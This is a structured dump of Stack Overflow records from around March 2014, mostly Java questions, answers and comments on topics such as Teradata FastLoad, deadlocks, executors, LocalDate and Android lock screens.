has comment: http://stackoverflow.com/comment/33824517
has comment: http://stackoverflow.com/comment/33823641
downvote count: 1
type: Question
has answer: http://stackoverflow.com/a/22280372
type: AnsweredQuestion
tagged with: java
score: -1
linked to: http://stackoverflow.com/q/19188997
upvote count: 0
answer count: 1
accepted answer: http://stackoverflow.com/a/22280372
has title: how to calculate pixel count of three images at same time
favorite count: 0

for-loop
tags question: http://stackoverflow.com/q/22266087
tags question: http://stackoverflow.com/q/22261487
tags question: http://stackoverflow.com/q/22263901
tags question: http://stackoverflow.com/q/22307114
tags question: http://stackoverflow.com/q/22262633
tags question: http://stackoverflow.com/q/22322093
tags question: http://stackoverflow.com/q/22321199
tags question: http://stackoverflow.com/q/22196589
tags question: http://stackoverflow.com/q/22262137
tags question: http://stackoverflow.com/q/22284099
tags question: http://stackoverflow.com/q/22212442
tags question: http://stackoverflow.com/q/22302922
tag name: for-loop
tags question: http://stackoverflow.com/q/22267919
tags question: http://stackoverflow.com/q/22206730
tags question: http://stackoverflow.com/q/22192937
tags question: http://stackoverflow.com/q/22210990
tags question: http://stackoverflow.com/q/22241574
tags question: http://stackoverflow.com/q/22182248
tags question: http://stackoverflow.com/q/22276047
tags question: http://stackoverflow.com/q/22262848
tags question: http://stackoverflow.com/q/22187367
type: Tag
tags question: http://stackoverflow.com/q/22198082
tags question: http://stackoverflow.com/q/22203299
tags question: http://stackoverflow.com/q/22190321
tags question: http://stackoverflow.com/q/22308177
tags question: http://stackoverflow.com/q/22239532

http://stackoverflow.com/comment/33816689
comment on: http://stackoverflow.com/a/22263316
type: AnswerComment
has text: Cool, so in other words having two parallel sets of build configurations in the repository is fine because it is not a big deal for people using the project to just ignore the .idea files. Thanks!
score: 0
type: Comment

http://stackoverflow.com/a/22179417
answers question: http://stackoverflow.com/q/22179268
type: Answer
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/33664602
has body: Additionally frame.setVisible(true) should be after frame.add(scroll); frame.add(scroll); frame.setVisible(true); Additionally call the super constructor in the JPanel Intialization. public PaintThis() { super(); setBorder(new LineBorder(Color.RED)); setPreferredSize(new Dimension(1000, 1000)); }
has comment: http://stackoverflow.com/comment/33664580
downvote count: 0

http://stackoverflow.com/q/22241433
score: 2
downvote count: 0
accepted answer: http://stackoverflow.com/a/22244954
type: Question
has title: How should a sample FastLoad1.csv file look like?
type: AnsweredQuestion
tagged with: jdbc
tagged with: teradata
has body: I tried to follow this example code Everything works fine except this line pstmtFld.setAsciiStream(1, dataStream, -1); It throws SQL exception . I suspect that the sample FastLoad1.csv file that i created is not consistent with their example . However i tried to create a very simple file with exactly the same fields . Here is my FastLoad1.csv L_INDEX,L_TIMESTAMP,L_TEXT 1,01/01/13,testText 2,01/01/13,testText 3,01/01/13,testText 4,01/01/13,testText Is it correct csv file . Is it consistent with the sample program ? If yes, why does it throw an exception ? Here is the error message Attempting connection to Teradata with FastLoadCSV. Connection to Teradata with FastLoadCSV established. Creating a PreparedStatement object with FastLoadCSV. Created a PreparedStatement object with FastLoadCSV. Checking connection for warnings Streaming FastLoad1.csv SQL State = HY000, Error Code = 1151 com.teradata.jdbc.jdbc_4.util.JDBCException: [Teradata JDBC Driver] [TeraJDBC 14.10.00.17] [Error 1151] [SQLState HY000] A failure occurred while setting a parameter value for database table "xxxxxxxxx"."my_table". Details of the failure can be found in the exception chain that is accessible with getNextException. at com.teradata.jdbc.jdbc_4.util.ErrorFactory.makeDriverJDBCException(ErrorFactory.java:93) at com.teradata.jdbc.jdbc_4.util.ErrorFactory.makeDriverJDBCException(ErrorFactory.java:68) at com.teradata.jdbc.jdbc.fastload.FastLoadManagerPreparedStatement.setAsciiStream(FastLoadManagerPreparedStatement.java:1366) at T20208JD.main(T20208JD.java:160) SQL State = HY000, Error Code = 1155 com.teradata.jdbc.jdbc_4.util.JDBCException: [Teradata JDBC Driver] [TeraJDBC 14.10.00.17] [Error 1155] [SQLState HY000] The next failure(s) in the exception chain occurred in FastLoadPreparedStatement[0] of 16 FastLoadPreparedStatement(s). at com.teradata.jdbc.jdbc_4.util.ErrorFactory.makeDriverJDBCException(ErrorFactory.java:93) at com.teradata.jdbc.jdbc_4.util.ErrorFactory.makeDriverJDBCException(Erro…
favorite count: 0
upvote count: 2
answer count: 2
possible better answer: http://stackoverflow.com/a/22241575
has answer: http://stackoverflow.com/a/22244954
linked to: http://stackoverflow.com/q/22239215
has answer: http://stackoverflow.com/a/22241575
tagged with: java

http://stackoverflow.com/q/22266731
has answer: http://stackoverflow.com/a/22266784
tagged with: java
has comment: http://stackoverflow.com/comment/33822341
has answer: http://stackoverflow.com/a/68369321
type: Question
linked to: http://stackoverflow.com/q/38922754
tagged with: date
score: 0
has comment: http://stackoverflow.com/comment/33822323
answer count: 2
has body: I want to get the current Date Format of Android emulator. Can anyone help me? Not like this SimpleDateFormat FormattedDATE = new SimpleDateFormat("M-d-yyyy"); Calendar cal = Calendar.getInstance();
type: UnansweredQuestion
tagged with: date-format
tagged with: android
has title: How to get the current date format of Android emulator

http://stackoverflow.com/comment/33897883
score: 0
comment on: http://stackoverflow.com/q/22308306
has text: Our specification says there will only be one. Any more and it is invalid data. I do not think it would be necessary to design for the possibility that the specs change (since they haven't changed for 20 years). The XML is used because other tools expect XML and we're the only ones that are still using an old serialization format.
type: Comment
type: QuestionComment

http://stackoverflow.com/a/22239686
score: 7
has comment: http://stackoverflow.com/comment/77801869
answers question: http://stackoverflow.com/q/22239639
has body: As explained in the Android documentation, the layout xml files are not used at runtime - they are compiled to binary code at compile time. So, you can't directly load the xml as a Layout. You'd have to write code that reads the xml, interprets it, and uses Android api methods to create a corresponding View.
downvote count: 0
type: Answer
upvote count: 7

http://stackoverflow.com/comment/33682324
has text: The only immediate solution I can think of is to special-case the input before calling tan. If it's "close enough to PI/2" for your liking, simply return Inf/-Inf (or whatever you are expecting) instead of calling tan. If you need to do "trigonometrical correct" math, there may be a library that can can deal with the exact mathematical concepts. (I think "symbolic math" may be a useful search term).
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22189081
score: 1

http://stackoverflow.com/q/22267868
tagged with: java
has body: I'm researching Face Detection using Neural network and PCA (Principal component analysis), but I have a problem with the Input Layer of the Neural Network: After using PCA to process the image face database, I have a set of EigenVectors (1 Image face = 1 Vector). According to the Neural Network documentation, the input layer only accepts real values (e.g. 0.1, 1, 100, 10000). But in case the input's are vectors, so I can't process in this step.
type: Question
tagged with: c#
answer count: 1
score: 0
tagged with: face-detection
tagged with: c++
has title: Process Vector is input's neural of Input Layer of Neural network
type: UnansweredQuestion
tagged with: matlab
has answer: http://stackoverflow.com/a/22268113

http://stackoverflow.com/comment/33731465
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22216694
has text: are sure creditionals are not required
score: 0

http://stackoverflow.com/comment/33891476
type: Comment
comment on: http://stackoverflow.com/a/22301408
has text: @Eugene added some links to javadoc.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/33774809
comment on: http://stackoverflow.com/a/22239847
type: Comment
has text: Btw. If I delete flush() in code server will reply 2 messages late. Maybe this fact will also help
score: 0
type: AnswerComment

http://stackoverflow.com/comment/33792788
has text: Ok, What's the problem?
type: Comment
type: QuestionComment
score: 3
comment on: http://stackoverflow.com/q/22250812

http://stackoverflow.com/q/22289752
tagged with: bufferedreader
tagged with: string
has comment: http://stackoverflow.com/comment/33865201
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33866702
has answer: http://stackoverflow.com/a/22488198
has comment: http://stackoverflow.com/comment/33865501
tagged with: java
has comment: http://stackoverflow.com/comment/33865473
tagged with: line
has comment: http://stackoverflow.com/comment/33865369
type: Question
has comment: http://stackoverflow.com/comment/33865148
has comment: http://stackoverflow.com/comment/33865488
has title: Java Buffered Reader splitting file into segments of 7 lines separated by #
tagged with: arraylist
score: 0
has body: br = new BufferedReader(new FileReader(inFile)); String line; boolean justWrote = false; ArrayList&lt;String&gt; charRead = new ArrayList&lt;String&gt;(); while ((line = br.readLine()) != null){ if (charRead.size() == 7 &amp;&amp; !justWrote){ messageLoop.addAfter(charRead); justWrote = true; } else if (line.startsWith("#")) { } else { justWrote = false; charRead.add(line); } } I am utilizing a text file that stores 7x5 ArrayLists that store a representation of a character. In the loading function I am attempting to create a bufferedreader for the file and then while ignoring lines that start with #, store the lines 7 at a time into an ArrayList of Strings and then add this ArrayList into the existing data structure. Basically what needs to happen is: Read whole file until end When 7 lines are read in a row, add the ArrayList of Strings into the data structure and reset ArrayList to be look for next 7 lines If the line contains ########## ignore it IF line is valid and we don't already have 7, add the line to ArrayList The issues I am having is it is correctly going through and adding all the lines ignoring the ######## but it keeps going through even when it reaches the end so I end up with hundreds of lines instead of just what I need. The input file looks like XXX X X X X XXXXX X X X X X X ########## X X X X X X XXXXX ########## X X X X X X XXXXX ########## And it should produce that same output when it is printed in the program but it instead prints multiple instances and the characters are not separate. Any help resolving this would be appreciated. Should produce the same characters but without ######### and just a space instead (spaces are handled already in code just represents the characters being separate.)
has comment: http://stackoverflow.com/comment/33865389
answer count: 1

http://stackoverflow.com/q/22298322
has title: Home button override in android
type: Question
upvote count: 5
downvote count: 0
has body: Im trying to understand the ways to override the home button functionality in Android. Im doing a LockScreen App and the HOME button is unlocking the device. I have been researching the last 3 days for a way to do it, and all the solutions I have found are not 100% effective (mostly due to the nature of HOME). I have implemented solutions for all the solutions below in these three days but Im still not satisfied. Problem: I want to be able to override the HOME button functionality the same way as the WidgetLocker app in the AppStore. WidgetLocker is not a home launcher and it still can override the HOME better than anyone. Link to WidgetLocker App Disclaimer First of all, I know that this is a security measure in Android so that an App does not take full control of the device, and I agree with it. The official way is to implement a home launcher and its my preferred of them all, unfortunately my boss is still not 100% convinced on the path I selected, until I exhaust all other possibilities. It must be for 4.0+ version of android Solutions Implement as Home launcher, catch the HOME intent and take care of home button presses, this has the problem that the user must select the app as the default home launcher and may not understand why (another problem I know, but still) Implement a Service with a SYSTEM_OVERLAY view that is launched every time the device is locked, being effectively on top of everything, unfortunately (or fortunately security wise) the home button presses are still being sent to the app below and the default home launcher is still called. Implement an activity parallel to the one that implements the lock screen, that contains the HOME Intent that is activated/deactivated programatically on the my app options, effectively changing the main app to a homelauncher on demand, when this activity is called it launches the lockscreen activity. Is there any other way to do this? Thanks in advance.
linked to: http://stackoverflow.com/q/18380663
tagged with: android
answer count: 1
favorite count: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22380891
score: 5
tagged with: lockscreen
tagged with: java

http://stackoverflow.com/a/22192687
has comment: http://stackoverflow.com/comment/33689485
answers question: http://stackoverflow.com/q/22192592
has comment: http://stackoverflow.com/comment/33692791
score: 4
has body: It sounds like you're trying to check whether the set of characters contained within one string is the same as the set of characters contained within another. That's reasonably easy to achieve with a Set&lt;Character&gt;: static boolean characterSetsEqual(String text1, String text2) { Set&lt;Character&gt; set1 = toCharacterSet(text1); Set&lt;Character&gt; set2 = toCharacterSet(text2); return set1.equals(set2); } static Set&lt;Character&gt; toCharacterSet(String input) { Set&lt;Character&gt; set = new HashSet&lt;&gt;(); for (int i = 0; i &lt; input.length(); i++) { set.add(input.charAt(i)); } return set; } Set&lt;&gt;.equals is defined in exactly the way that you want it to be: Compares the specified object with this set for equality. Returns true if the specified object is also a set, the two sets have the same size, and every member of the specified set is contained in this set (or equivalently, every member of this set is contained in the specified set). This definition ensures that the equals method works properly across different implementations of the set interface. It's important to see that you really are interested in sets here - the conversion from a String (which is a sequence of characters) into a Set&lt;Character&gt; (which has no inherent order, nor a count of how many times each character appears) is the crucial part.
has comment: http://stackoverflow.com/comment/33688816
type: AcceptedAnswer
type: Answer
upvote count: 4
downvote count: 0
has comment: http://stackoverflow.com/comment/33690199
accepted answer of: http://stackoverflow.com/q/22192592
has comment: http://stackoverflow.com/comment/33688329

http://stackoverflow.com/comment/33689672
score: 0
comment on: http://stackoverflow.com/q/22193049
type: Comment
type: QuestionComment
has text: Hi can u help me out for this quetion

http://stackoverflow.com/q/22251250
tagged with: synchronization
favorite count: 0
tagged with: deadlock
type: Question
answer count: 5
linked to: http://stackoverflow.com/q/17235212
has comment: http://stackoverflow.com/comment/33794165
has answer: http://stackoverflow.com/a/22251474
has answer: http://stackoverflow.com/a/22251500
linked to: http://stackoverflow.com/q/3455312
duplicate of: http://stackoverflow.com/q/17235212
score: 0
upvote count: 1
downvote count: 1
tagged with: java
has answer: http://stackoverflow.com/a/22251504
type: UnansweredQuestion
has title: How Deadlock arises in the given Java program?
linked to: http://stackoverflow.com/q/749641
has answer: http://stackoverflow.com/a/22251638
has answer: http://stackoverflow.com/a/22251429
has comment: http://stackoverflow.com/comment/33794020
duplicate of: http://stackoverflow.com/q/749641
has body: The following code snippet is taken from Java Tutorials which says that the threads remain blocked for ever but I am unable to make out how. Please explain. Is it something that both synchronized methods share the same intrinsic lock? public class Deadlock { static class Friend { private final String name; public Friend(String name) { this.name = name; } public String getName() { return this.name; } public synchronized void bow(Friend bower) { System.out.format("%s: %s" + " has bowed to me!%n", this.name, bower.getName()); bower.bowBack(this); } public synchronized void bowBack(Friend bower) { System.out.format("%s: %s" + " has bowed back to me!%n", this.name, bower.getName()); } } public static void main(String[] args) { final Friend alphonse = new Friend("Alphonse"); final Friend gaston = new Friend("Gaston"); new Thread(new Runnable() { public void run() { alphonse.bow(gaston); } }).start(); new Thread(new Runnable() { public void run() { gaston.bow(alphonse); } }).start(); } }

http://stackoverflow.com/comment/33750382
comment on: http://stackoverflow.com/a/22195538
has text: Nope. :/ I tried it as above but without DiscriminatorColumn and still just got exceptions
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/22279203
type: Question
has title: Should I use an Executor to run only 1 Runnable? When to use an executor?
accepted answer: http://stackoverflow.com/a/22280371
tagged with: client-server
tagged with: executor
has body: I am making a server, and the server creates a thread for each client that connects. That thread will have an open inputstream which it will monitor for incoming messages. The Runnable of that thread will be called ServerListenerRunnable for this example. I am conflicted whether to use Executor or just run the thread straight away. For example Runnable listener = new ServerListenerRunnable(); Executor executor = Executors.newSingleThreadExecutor(); executor.execute(listener); Is this somehow better than just running new Thread(new ServerListenerRunnable()).start(); And can you tell me why? And if you have some time to kill, can you explain in general why using Executor is better than running the thread straight away or vice versa. Thank you in advance.
linked to: http://stackoverflow.com/q/671049
linked to: http://stackoverflow.com/q/15900387
tagged with: runnable
downvote count: 0
has comment: http://stackoverflow.com/comment/33845037
favorite count: 0
upvote count: 2
possible better answer: http://stackoverflow.com/a/22281032
has answer: http://stackoverflow.com/a/22296594
has comment: http://stackoverflow.com/comment/33866206
tagged with: multithreading
has answer: http://stackoverflow.com/a/22281032
answer count: 4
has answer: http://stackoverflow.com/a/22279427
type: AnsweredQuestion
score: 2
has comment: http://stackoverflow.com/comment/33854759
has answer: http://stackoverflow.com/a/22280371
tagged with: java

http://stackoverflow.com/a/22243654
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/22243299
upvote count: 1
has body: public class DataStructure { /** omitted */ public void printEven() { //#1 DataStructureIterator iterator = this.new EvenIterator(); /** Omitted */ } //#2 private class EvenIterator implements DataStructureIterator { /** Omitted */ } } So this is the bare-bone problem. Lets see what we have: A class DataStructure that has a non-static method printEven. the this keyword in this class will always represent the current instance/object of this class: DataStructure. An inner class, that is private. This means this class is not visible outside. It is not static that means you need an instance of outer-class to be able to instanciate this class-member (aka inner class). So, we want to create an instance of EvenIterator, we will need a. an instance of outer class, b. call a constructor of inner class. DataStructureIterator iterator = this.new EvenIterator(); | `---- Call to constructor `-------------- instance of outer class Doing DataStructure.this in DataStructure is redundant. Because we know that we are in the scope of DataStructure so just this will do. However, if you are in inner class EvenIterator, and you want to explicitely access outer class's instance you will have to to do DataStructure.this, because in inner class this will mean the instance of EvenIterator.
score: 1

http://stackoverflow.com/q/22180377
tagged with: java
tagged with: memory
type: Question
has body: I read this post: https://groups.google.com/forum/#!topic/vertx/VuKsUzUah88 and I don't know how to access the DEFAULT_JVM_OPTS in the current vertx version. I tried following command: java -jar myapp-1.0.0-snapshot-fat.jar -conf config.json -Xms128m -Xmx400m -XX:MaxPermSize=128m -XX:ReservedCodeCacheSize=48m and doesn't seem to hava any effect to my apps mem consumption. do you have any advice for me? thanks in advance kdeux
has answer: http://stackoverflow.com/a/22181053
linked to: http://stackoverflow.com/q/7513185
score: 0
tagged with: vert.x
answer count: 1
tagged with: jvm-arguments
tagged with: memory-management
type: UnansweredQuestion
has title: How can I reduce vert.x memory consuption

http://stackoverflow.com/comment/33923126
type: Comment
has text: Hi, I checked the project properties and it has the JDK defined and not JDE. http://tinypic.com/view.php?pic=k35643&s=8#.Ux7oVfl_s8U In addition, the NetBeans use 'netbeans.conf' file and it have the JDK folder listed correctly http://tinypic.com/r/2jfyh36/8 Do you have any more advices? Thanks
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22321104

http://stackoverflow.com/a/22220167
score: 2
accepted answer of: http://stackoverflow.com/q/22213401
upvote count: 2
answers question: http://stackoverflow.com/q/22213401
type: AcceptedAnswer
type: Answer
downvote count: 0
has body: Here is an illustration of how you can do this using reflection. public class Matrix { private Object[][] values = new Object[100][100]; private final int MN=8; private final int PY=58; private final int RB=13; public static void main(String[] args){ Matrix matrix = new Matrix(); matrix.values[8][58] = "Hello"; try { System.out.println(matrix.getElement("MN","PY")); } catch (IllegalArgumentException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } catch (NoSuchFieldException e) { e.printStackTrace(); } catch (SecurityException e) { e.printStackTrace(); } } public Object getElement(String rowConstant, String columnConstant) throws IllegalArgumentException, IllegalAccessException, NoSuchFieldException, SecurityException { return values[getConstant(rowConstant)][getConstant(columnConstant)]; } private int getConstant(String constant) throws IllegalArgumentException, IllegalAccessException, NoSuchFieldException, SecurityException { return getClass().getDeclaredField(constant).getInt(this); } } See how in the main method, I put an object into the array, and then use reflection to retrieve it. I entirely do not recommend this technique. I've only put this answer here because you specifically asked me for it. I really think you're going about this the wrong way. If you have a small number of constants, you should be using a HashMap or some similar structure. If you really do have 617 of them, you should be using some kind of data file, or a properties file, or a database. There's no way you want a big long list of constants to be part of your source code.

http://stackoverflow.com/a/33527458
has body: &lt;pe:inputNumber autocomplete="off" ... /&gt;
answers question: http://stackoverflow.com/q/22247191
type: Answer
upvote count: 0
score: -2
downvote count: 2

http://stackoverflow.com/a/22276805
type: Answer
downvote count: 0
has body: Just cast to an int so that you get the numerical value of the char, which consequently uses the overloaded println(int) method System.out.println((int)myString.charAt(i));
accepted answer of: http://stackoverflow.com/q/22276793
answers question: http://stackoverflow.com/q/22276793
score: 5
type: AcceptedAnswer
upvote count: 5

http://stackoverflow.com/comment/33790973
has text: Refer to the [documentation](http://docs.oracle.com/javase/7/docs/api/java/util/Map.Entry.html). *«A map entry (key-value pair). The `Map.entrySet` method returns a collection-view of the map, whose elements are of this class.»*
type: Comment
comment on: http://stackoverflow.com/q/22249753
score: 0
type: QuestionComment

http://stackoverflow.com/comment/33791515
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22250100
has text: I doubt letting spring rewrite the bytecode of my class is a good solution on refactoring exception handling.

http://stackoverflow.com/q/22238661
tagged with: java.util.scanner
has comment: http://stackoverflow.com/comment/33773269
score: 0
tagged with: java
has comment: http://stackoverflow.com/comment/33773262
answer count: 1
has comment: http://stackoverflow.com/comment/33773067
accepted answer: http://stackoverflow.com/a/22246024
has body: How would I go about adding a space AFTER a specific character in the string has been found? Example.... I'd want to add a space after the "#" character in that string. I'm also wondering how I could get the position I was currently at if there were multiple "#" in my string. (2/9) B (4/3) / # (1/2) (-1/3) (3/2) (-1/11) * * - # (1/2) + (2/2) # With this same concept. I have a loop that looks like this. I also updated the string to look like my issue. Now my problem is that once my loop processes through and gets each element, if its a bad input ex.(B, /, basically non operands and '+' '-' '*') and so my throwLine() skips everything in the line until the # and then continues...however my readIn after the first # seems to skip the first (1/2) and reads in the (-1/3). If you can answer this I'd be MUCH appreciative. CODE import java.util.Scanner; public class RpnEvaluator { private final int MAX_TOKEN = 100; private Scanner stdin = new Scanner(System.in); private Queue myQueue = new Queue(MAX_TOKEN); private Stack myStack = new Stack(MAX_TOKEN); public void run() throws java.io.IOException { int count = 1; Fraction myInterMid; while(stdin.hasNext()) { runOnce(count++); System.out.print("Intermediate results: "); while(!myQueue.isEmpty()) { myInterMid = (Fraction)myQueue.remove(); System.out.print(myInterMid.toString()); } System.out.println(); clear(myStack, myQueue); } System.out.println("Normal Termination of Program 3."); } private boolean isOperator(String input) { String[] oprtr = {"+", "-", "*"}; for(String choice: oprtr) if(choice.equals(input)) return true; return false; } private boolean isOperand(String input) { if(input.charAt(0) == '(') return true; return false; } private Fraction runOperation(String choice, Fraction op2, Fraction op1) { Fraction newFract = new Fraction(); switch (choice) { case "*": newFract = new Fraction(op1.times(op2)); break; case "+": newFract = new Fraction(op1.plus(op2)); break; case "-": newFract = new Fraction(op1.minus(op2)); br…
has comment: http://stackoverflow.com/comment/33773335
has comment: http://stackoverflow.com/comment/33773381
has title: Java Issue with readIn() reading my next element as well as specific character
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33773425
has comment: http://stackoverflow.com/comment/33782852
has comment: http://stackoverflow.com/comment/33773192
tagged with: string
has comment: http://stackoverflow.com/comment/33773598
type: Question
has comment: http://stackoverflow.com/comment/33773551
has answer: http://stackoverflow.com/a/22246024

http://stackoverflow.com/a/27610528
downvote count: 0
answers question: http://stackoverflow.com/q/22288868
score: 5
type: Answer
has comment: http://stackoverflow.com/comment/46852572
upvote count: 5
has body: In addition to Jake's answer, this is what I had to add to my proguard file to get it to work correctly: -keep class com.google.gson.** { *; } -keep class com.google.inject.** { *; } -keep class org.apache.http.** { *; } -keep class org.apache.james.mime4j.** { *; } -keep class javax.inject.** { *; } -keep class retrofit.** { *; }

http://stackoverflow.com/comment/33863321
type: Comment
type: QuestionComment
score: 2
has text: Were the network paths available at the time? This has been working for me since 1997.
comment on: http://stackoverflow.com/q/22289304

bukkit
tag name: bukkit
tags question: http://stackoverflow.com/q/22262083
tags question: http://stackoverflow.com/q/22309005
type: Tag
tags question: http://stackoverflow.com/q/22316279
tags question: http://stackoverflow.com/q/22264930

http://stackoverflow.com/comment/33747589
has text: Which version of Solr are you using?
comment on: http://stackoverflow.com/q/22204461
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/22185173
has comment: http://stackoverflow.com/comment/33675336
type: AcceptedAnswer
has body: This constructor new StringBuilder(teacherName.charAt(0)) accepts an int. So the char value you are passing is being widened and used as the StringBuilder capacity, not as the first char in the underlying String. Create an empty StringBuilder and append two chars. String teacherInitials = new StringBuilder() .append(teacherName.charAt(0)) .append(teacherName.charAt(teacherSecondInitialIndex)) .toString();
answers question: http://stackoverflow.com/q/22185129
type: Answer
upvote count: 4
accepted answer of: http://stackoverflow.com/q/22185129
downvote count: 0
score: 4

http://stackoverflow.com/comment/33895278
type: Comment
has text: That's from the top of my head. Exact implementations may vary. But I am sensing that you want your rightPanel to fire a custom event? This may or may not be a good idea, depending on the context. If you give me more specifics, I'll edit my answer.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22278091

http://stackoverflow.com/a/22296681
has comment: http://stackoverflow.com/comment/33886598
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/33936875
accepted answer of: http://stackoverflow.com/q/22279347
has comment: http://stackoverflow.com/comment/33917002
type: Answer
answers question: http://stackoverflow.com/q/22279347
upvote count: 1
score: 1
has body: Looks like you have two queues, one on each machine. They only have the same name, but are not connected in any way. You could make the sender machine use the remote queue directly, but it's advisable to use (like you have) two queues instead, one on each node, and then configure a bridge to move the messages from one to the other. In this way, sending as well as receiving messages will work within your local transactions, which is what you'll normally want. In order to configure the bridge, HornetQ offers two options: A generic JMS bridge, and a core bridge. The former is generic, as it can bridge between JMS queues of any JMS provider. But the HornetQ docs recommend core bridges when using HornetQ on both sides, as they are faster and more robust. The JBoss docs (the section "JMS Bridge"), describes the setup for a JMS-Bridge using the CLI. The HornetQ docs for core bridges describes the stand alone setup (outside of the JBoss server); converting that to CLI, you'll get (replace the parts in curly brackets with your values): /subsystem=messaging/hornetq-server=default/bridge={bridge-name}:add(queue-name="{queue-name}", forwarding-address="{remote-hostname}", static-connectors=["http-acceptor"]) To see a brief description of all parameters, use this command: /subsystem=messaging/hornetq-server=default/bridge=x:read-resource-description

http://stackoverflow.com/comment/33731685
type: Comment
has text: Accept answer that and we are even :)
comment on: http://stackoverflow.com/a/22216823
score: 0
type: AnswerComment

http://stackoverflow.com/comment/33716477
score: 0
has text: @user3385250 do you know how to use a debugger?
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22208067

http://stackoverflow.com/q/22258645
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/23690423
score: 1
tagged with: java
upvote count: 1
type: Question
has body: I'm trying to build soot. I've downloaded the source code of JastAddExtensions using svn co https://svn.sable.mcgill.ca/abc/trunk/JastAddExtensions/, checked out the code of Soot using git remote add soot https://github.com/Sable/soot.git git pull soot develop. Then I tried to build Soot using Ant and got following error message: D:\dev\ro-01\soot\build.xml:102: The following error occurred while executing this line: D:\dev\ro-01\JastAddExtensions\SootJastAddJ\build.xml:18: taskdef class JFlex.anttask.JFlexTask cannot be found using the classloader AntClassLoader[] How can I fix this error? Where can I download a version of code of JastAddExtensions\SootJastAddJ, which is compatible with current version of Soot?
has answer: http://stackoverflow.com/a/22283120
has answer: http://stackoverflow.com/a/23699775
tagged with: soot
has title: "taskdef class JFlex.anttask.JFlexTask cannot be found" when building Soot
answer count: 3
accepted answer: http://stackoverflow.com/a/22283120
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/23690423

http://stackoverflow.com/comment/33663590
has text: Docs say "x - the x coordinate of the upper left corner of the oval to be filled. y - the y coordinate of the upper left corner of the oval to be filled. width - the width of the oval to be filled. height - the height of the oval to be filled."
comment on: http://stackoverflow.com/a/22178917
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/q/22223786
linked to: http://stackoverflow.com/q/285553
has answer: http://stackoverflow.com/a/53948173
tagged with: java
tagged with: java-time
has answer: http://stackoverflow.com/a/73234460
tagged with: date
has title: Get first and last day of month using threeten, LocalDate
type: Question
has answer: http://stackoverflow.com/a/22224999
has body: I have a LocalDate which needs to get the first and last day of the month. How do I do that? eg. 13/2/2014 I need to get 1/2/2014 and 28/2/2014 in LocalDate formats. Using threeten LocalDate class.
downvote count: 0
has answer: http://stackoverflow.com/a/69857415
answer count: 13
has answer: http://stackoverflow.com/a/69842587
favorite count: 0
linked to: http://stackoverflow.com/q/19080655
upvote count: 193
has answer: http://stackoverflow.com/a/59790305
has answer: http://stackoverflow.com/a/22227251
has answer: http://stackoverflow.com/a/22239895
has answer: http://stackoverflow.com/a/58037031
has answer: http://stackoverflow.com/a/59176457
has answer: http://stackoverflow.com/a/49895903
score: 193
has answer: http://stackoverflow.com/a/54812503
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/114707919
has answer: http://stackoverflow.com/a/22223886

http://stackoverflow.com/comment/33930041
has text: @pskink `String.indexOf()` is what he needs
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22325528

http://stackoverflow.com/comment/33807848
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22258864
has text: Could you explain why this fixes the problem?

binary-tree
tag name: binary-tree
tags question: http://stackoverflow.com/q/22184921
type: Tag
tags question: http://stackoverflow.com/q/22271147
tags question: http://stackoverflow.com/q/22213766

http://stackoverflow.com/comment/33895425
has text: hmm but, that's auto generated?
score: 0
comment on: http://stackoverflow.com/q/22306477
type: QuestionComment
type: Comment

http://stackoverflow.com/a/22176455
score: 0
has body: You need to keep the uploaded file path in session from upload.jsp and use it from split.jsp
type: Answer
answers question: http://stackoverflow.com/q/22174496

http://stackoverflow.com/q/22290843
upvote count: 1
answer count: 1
has body: I am trying to understand why my code is not writing the output to the textfile as I expect it to work. My program takes a filename as a command line argument, and prints some text to the file as well as the screen. It is a bit more complicated since it uses classes and objects to demonstrate how objects work. Can anyone help decipher why it is not writing to the file? Here's my code:- public class Mamoonp3test { public static void main(String[] args) throws Exception { //Create array of 10 guitar (Mamoonp3) objects final int NUMBER_OF_INSTANCES = 10; Mamoonp3[] objectNames = new Mamoonp3[NUMBER_OF_INSTANCES]; try { String fileName = new String(args[0]); for(int i=0; i&lt;NUMBER_OF_INSTANCES; i++) { objectNames[i] = new Mamoonp3(FileName); System.out.println("This is guitar number: " + i); objectNames[i].tuneGuitar(); objectNames[i].playGuitar(); objectNames[i].displayAcronym(); objectNames[i].stopGuitar(); System.out.println("---------------------------"); } } catch (Exception e) { System.out.println("please provide an input file"); System.out.println("Usage: java Mamoonp3test filename.txt"); } } } import java.io.*; public class Mamoonp3 { final int NUMBER_OF_STRINGS = 6; char[] stringNames = {'E','A','D','G','B','E'}; int[] stringNumbers = {6,5,4,3,2,1}; String[] stringPitch = {"Sixth","Fifth","Fourth","Third","Second","First"}; boolean isTuned; boolean isPlaying; String stringAcronym = new String("Even After Dinner Giant Boys Eat"); //create a PrintWriter for output PrintWriter output; public Mamoonp3(String fileName) throws Exception{ isTuned = false; isPlaying = false; // create target file File targetFile = new File(fileName); //create a PrintWriter for output output = new PrintWriter(targetFile); } public void tuneGuitar() { System.out.println("The guitar is now tuned."); for (int i=0; i&lt;NUMBER_OF_STRINGS; i++) { System.out.println(stringNames[i] + " is string number " + stringNumbers[i] + " and ranked " + stringPitch[i] + " in pitch"); output.print(string…
tagged with: java
has answer: http://stackoverflow.com/a/22290861
type: AnsweredQuestion
downvote count: 0
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/22290861
score: 1
